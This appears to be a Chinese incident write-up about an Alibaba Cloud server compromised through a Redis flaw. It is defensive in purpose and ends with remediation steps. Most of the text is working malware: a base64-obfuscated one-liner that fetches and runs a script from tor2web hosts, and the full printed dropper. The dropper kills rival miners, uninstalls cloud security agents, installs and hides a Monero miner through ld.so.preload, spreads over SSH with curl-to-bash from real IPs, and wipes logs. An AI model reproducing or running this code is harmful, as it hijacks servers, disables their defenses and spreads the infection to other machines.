#!/bin/bash exec &>/dev/null {echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCg oUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJh cGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc 2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3 hvZG8ub25pb24uc2gvY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8ub25pb24uc2gvY3Jvbi5zaCApfGJhc2gK}|{base64,-d}|bash
事件回顾：阿里云服务器中毒了，接到短信通知
事件说明：云盾基于大数据机器学习检测引擎，检测到您的服务器正在尝试访问一个可疑Host URL，产生该告警的原因可能是该URL很少见; 该指令历史上没被执行过; 或者该URL和恶意软件相关等原因。
检测到服务器上Redis漏洞被黑客利用向磁盘上写入了可疑文件，可能导致黑客直接获取ECS的Root权限。请及时修复Redis配置漏洞
解决方案：请及时排查告警中提示的恶意URL，以及所下载的目录下的恶意文件。并及时清理已运行的恶意进程。
按照下列链接进行redis配置漏洞的修复 https://help.aliyun.com/knowledge_detail/37447.html。 https://help.aliyun.com/knowledge_detail/37433.html。 同时删除告警详情中被恶意写入的ssh key文件，防止被黑客重复2次入侵。
渗透命令：/bin/sh -c curl -o- http://121.41.24.142/a7 | bash >/dev/null 2>&1 || true
其中http://121.41.24.142/a7文件内容如下，供大家参考：
1 #/bin/bash 2 if [ -f /tmp/.a10 ]; then 3 exit 101 4 fi 5 touch /tmp/.a10 6 function clean () { 7 rm -f /tmp/.a10 8 } 9 10 for f in /var/spool/cron/* /var/spool/cron/crontabs/* /etc/*crontab /etc/cron.d/*; do 11 if grep -i -q redis "$f"; then echo > "$f"; fi 12 done 13 14 if [ -f /etc/ld.so.preload ]; then 15 mv -f /etc/ld.so.preload /etc/ld.so.pre 16 fi 17 chmod -x /etc/xig 18 chmod -x /root/cranberry /tmp/cranberry /root/yam 19 chmod -x /etc/root.sh 20 chmod -x /usr/bin/gpg-agentd 21 chmod -x /usr/bin/kworker 22 chmod -x /usr/local/bin/gpg-agentd 23 killall -9 xig 24 killall -9 cranberry 25 killall -9 root.sh 26 killall -9 gpg-agentd 27 killall -9 .gpg-agent 28 killall -9 xmr-stak 29 killall -9 kworker 30 killall -9 .gpg 31 killall -9 pnscan 32 killall -9 netfs 33 killall -9 geth 34 pkill -f stratum 35 pkill -f nativesvc 36 pkill -f cryptonight 37 pkill -f minerd 38 pkill -f conn.sh 39 pkill -f /opt/yilu/ 40 pkill -f /tmp/ 41 pkill -f .cmd 42 pkill -f kworker 43 if grep monero7 /etc/x7/pools.txt; then 44 killall x7 45 rm -rf /etc/x7 46 fi 47 running= 48 killall x7 49 #if ps aux | grep '[b]in/x7'; then 50 # running=1 51 #fi 52 if [ -f /etc/ld.so.pre ]; then 53 mv -f /etc/ld.so.pre /etc/ld.so.preload 54 fi 55 if ! /sbin/iptables -n -L | grep -q 165.225.157.157; then 56 iptables -A INPUT -s 165.225.157.157 -j DROP 57 iptables -A OUTPUT -d 165.225.157.157 -j DROP 58 fi 59 while read h; do 60 if ! grep -q "$h" /etc/hosts; then 61 echo "$h" >> /etc/hosts 62 fi 63 done < <(echo ' 64 0.0.0.0 transfer.sh 65 0.0.0.0 static.cortins.tk 66 0.0.0.0 xcn1.yiluzhuanqian.com 67 0.0.0.0 www.yiluzhuanqian.com 68 0.0.0.0 xmr.yiluzhuanqian.com 69 0.0.0.0 xmr.f2pool.com 70 0.0.0.0 stratum.f2pool.com 71 0.0.0.0 xmr.crypto-pool.fr 72 0.0.0.0 jw-js1.ppxxmr.com 73 0.0.0.0 fr.minexmr.com 74 0.0.0.0 pool.minexmr.com 75 0.0.0.0 img.namunil.com 76 0.0.0.0 cdn.namunil.com 77 0.0.0.0 chrome.zer0day.ru 78 0.0.0.0 pool.t00ls.ru 79 0.0.0.0 monerohash.com 80 0.0.0.0 z.chakpools.com 81 ') 82 if [[ "$running" -eq "1" ]]; then 83 clean 84 exit 0 85 fi 86 87 os=$(egrep -i 'debian|ubuntu|cent' -o -- /etc/issue) 88 os="${os,,}" 89 if [ -z "$os" ] && type yum; then os='cent'; fi 90 if ! grep -q 8.8.8.8 /etc/resolv.conf; then 91 echo nameserver 8.8.8.8 >> /etc/resolv.conf 92 fi 93 if ! grep -q 1.1.1.1 /etc/resolv.conf; then 94 echo nameserver 1.1.1.1 >> /etc/resolv.conf 95 fi 96 97 if [ "$os" = 'cent' ]; then 98 yum install -y at unzip wget bzip2 hwloc-devel openssl openssl-devel 99 else 100 apt-get update 101 apt-get install -y at unzip wget hwloc 102 fi 103 104 if ps aux | grep -i '[a]liyun'; then 105 wget http://update.aegis.aliyun.com/download/uninstall.sh 106 chmod +x uninstall.sh 107 ./uninstall.sh 108 wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh 109 chmod +x quartz_uninstall.sh 110 ./quartz_uninstall.sh 111 rm -f uninstall.sh quartz_uninstall.sh 112 pkill aliyun-service 113 rm -fr /etc/init.d/agentwatch /usr/sbin/aliyun-service 114 rm -rf /usr/local/aegis*; 115 elif ps aux | grep -i '[y]unjing'; then 116 /usr/local/qcloud/stargate/admin/uninstall.sh 117 /usr/local/qcloud/YunJing/uninst.sh 118 /usr/local/qcloud/monitor/barad/admin/uninstall.sh 119 fi 120 121 cd /etc; wget --no-check-certificate http://121.41.24.142/${os}.tar.gz -O x7.tar.gz; tar -xvf x7.tar.gz && rm -f x7.tar.gz 122 /sbin/sysctl -w vm.nr_hugepages=128 123 chown -R root:root /etc/x7 124 (cd /etc/x7; nohup nice bin/x7 &) 125 126 if [ -f /etc/rc.sysinit ]; then 127 if ! grep x7 /etc/rc.sysinit; then sed -i '35i(cd /etc/x7; nohup nice bin/x7 &)' /etc/rc.sysinit; fi 128 elif [ -f /etc/rc.d/init.d/network ]; then 129 if ! grep x7 /etc/rc.d/init.d/network; then sed -i '64i(cd /etc/x7; nohup nice bin/x7 &)' /etc/rc.d/init.d/network; fi 130 elif [ -f /etc/init.d/networking ]; then 131 if ! grep x7 /etc/init.d/networking; then sed -i '130i(cd /etc/x7; nohup nice bin/x7 &)' /etc/init.d/networking; fi 132 fi 133 134 wget --no-check-certificate https://github.com/gianlucaborello/libprocesshider/archive/master.zip -O master.zip && unzip master.zip && rm -f master.zip && cd libprocesshider-master; 135 sed -i 's/evil_script.py/x7/' processhider.c 136 make && mv libprocesshider.so /usr/local/lib/libjdk.so && echo /usr/local/lib/libjdk.so >> /etc/ld.so.preload && cd .. && rm -rf libprocesshider-master 137 138 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 139 for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://112.74.182.220/a7 | bash >/dev/null 2>&1 &' & done 140 fi 141 142 touch -r /etc/sudoers /etc/x7 /etc/ld.so.preload /etc/hosts 143 echo "echo | tee /var/log/cron /var/spool/mail/root /var/mail/root" | at now + 1 minutes 144 145 clean 146 history -c 147 exit 0
服务器现象：服务器CPU突增，且.ssh/authorized_keys被写入恶意信息，文件也被加上了特殊权限i，禁止root权限删除该文件
解决：修复redis漏洞，取消i权限并清空authorized_keys文件，防止二次入侵